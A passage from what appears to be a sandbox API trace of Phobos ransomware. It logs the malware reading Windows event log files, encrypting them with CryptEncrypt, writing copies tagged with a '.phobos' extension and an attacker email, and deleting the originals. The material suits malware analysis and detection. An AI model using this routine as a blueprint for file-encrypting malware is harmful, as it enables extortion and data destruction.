pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80) returned 1 [0060.000] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0060.000] WriteFile (in: hFile=0x300, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x132, lpOverlapped=0x0) returned 1 [0060.001] CryptDestroyKey (hKey=0x10dc810) returned 1 [0060.001] CloseHandle (hObject=0x338) returned 1 [0060.001] CloseHandle (hObject=0x300) returned 1 [0060.002] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1 [0060.003] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0060.003] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0060.014] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=1052672) returned 1 [0060.014] CloseHandle (hObject=0x31c) returned 1 [0060.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0060.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.014] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0060.015] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.015] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.015] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.020] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc790) returned 1 [0060.020] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.020] ReadFile (in: hFile=0x31c, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x101000, lpOverlapped=0x0) returned 1 [0060.068] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x101010, dwBufLen=0x101010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x101010) returned 1 [0060.069] WriteFile (in: hFile=0x328, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x101010, lpOverlapped=0x0) returned 1 [0060.086] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc550) returned 1 [0060.086] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.086] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80, dwBufLen=0x80 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80) returned 1 [0060.086] CryptDestroyKey (hKey=0x10dc550) returned 1 [0060.086] WriteFile (in: hFile=0x328, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x132, lpOverlapped=0x0) returned 1 [0060.086] CryptDestroyKey (hKey=0x10dc790) returned 1 [0060.086] CloseHandle (hObject=0x31c) returned 1 [0060.086] CloseHandle (hObject=0x328) returned 1 [0060.236] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1 [0060.237] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0060.238] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.239] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0060.239] CloseHandle (hObject=0x2fc) returned 1 [0060.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0060.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.240] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.240] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.240] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.240] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.240] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcc90) returned 1 [0060.240] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.240] ReadFile (in: hFile=0x2fc, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0060.304] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0060.305] WriteFile (in: hFile=0x330, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0060.306] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc890) returned 1 [0060.306] CryptSetKeyParam (hKey=0x10dc890, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.306] CryptEncrypt (in: hKey=0x10dc890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80, dwBufLen=0x80 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80) returned 1 [0060.306] CryptDestroyKey (hKey=0x10dc890) returned 1 [0060.306] WriteFile (in: hFile=0x330, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x132, lpOverlapped=0x0) returned 1 [0060.306] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0060.306] CloseHandle (hObject=0x2fc) returned 1 [0060.306] CloseHandle (hObject=0x330) returned 1 [0060.308] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1 [0060.309] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0060.309] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.310] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0060.310] CloseHandle (hObject=0x330) returned 1 [0060.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20 [0060.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.310] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.310] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.310] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.310] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.310] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcb10) returned 1 [0060.310] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.310] ReadFile (in: hFile=0x330, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0060.368] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0060.368] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0060.370] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dcb90) returned 1 [0060.370] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.370] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80, dwBufLen=0x80 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80) returned 1 [0060.370] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0060.370] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x132, lpOverlapped=0x0) returned 1 [0060.370] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0060.370] CloseHandle (hObject=0x330) returned 1 [0060.370] CloseHandle (hObject=0x2fc) returned 1 [0060.372] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1 [0060.373] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0060.373] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.374] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0060.374] CloseHandle (hObject=0x2fc) returned 1 [0060.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20 [0060.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.374] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.374] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.374] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.374] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.394] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcc50) returned 1 [0060.394] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.394] ReadFile (in: hFile=0x2fc, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0060.416] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0060.416] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0060.418] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc8d0) returned 1 [0060.418] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.418] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80, dwBufLen=0x80 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80) returned 1 [0060.418] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0060.418] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x132, lpOverlapped=0x0) returned 1 [0060.418] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0060.418] CloseHandle (hObject=0x2fc) returned 1 [0060.418] CloseHandle (hObject=0x338) returned 1 [0060.420] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1 [0060.421] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0060.421] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.421] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0060.421] CloseHandle (hObject=0x338) returned 1 [0060.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20 [0060.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.421] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.421] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.421] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.421] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.422] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc710) returned 1 [0060.422] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.422] ReadFile (in: hFile=0x338, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0060.735] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0060.735] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0060.737] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc8d0) returned 1 [0060.737] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.737] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90, dwBufLen=0x90 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90) returned 1 [0060.737] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0060.737] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x142, lpOverlapped=0x0) returned 1 [0060.737] CryptDestroyKey (hKey=0x10dc710) returned 1 [0060.737] CloseHandle (hObject=0x338) returned 1 [0060.737] CloseHandle (hObject=0x2fc) returned 1 [0060.769] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1 [0060.770] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0060.770] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.771] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0060.771] CloseHandle (hObject=0x2fc) returned 1 [0060.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20 [0060.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.771] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.771] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.771] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.771] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.772] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcc10) returned 1 [0060.772] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.772] ReadFile (in: hFile=0x2fc, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0060.861] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0060.861] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, 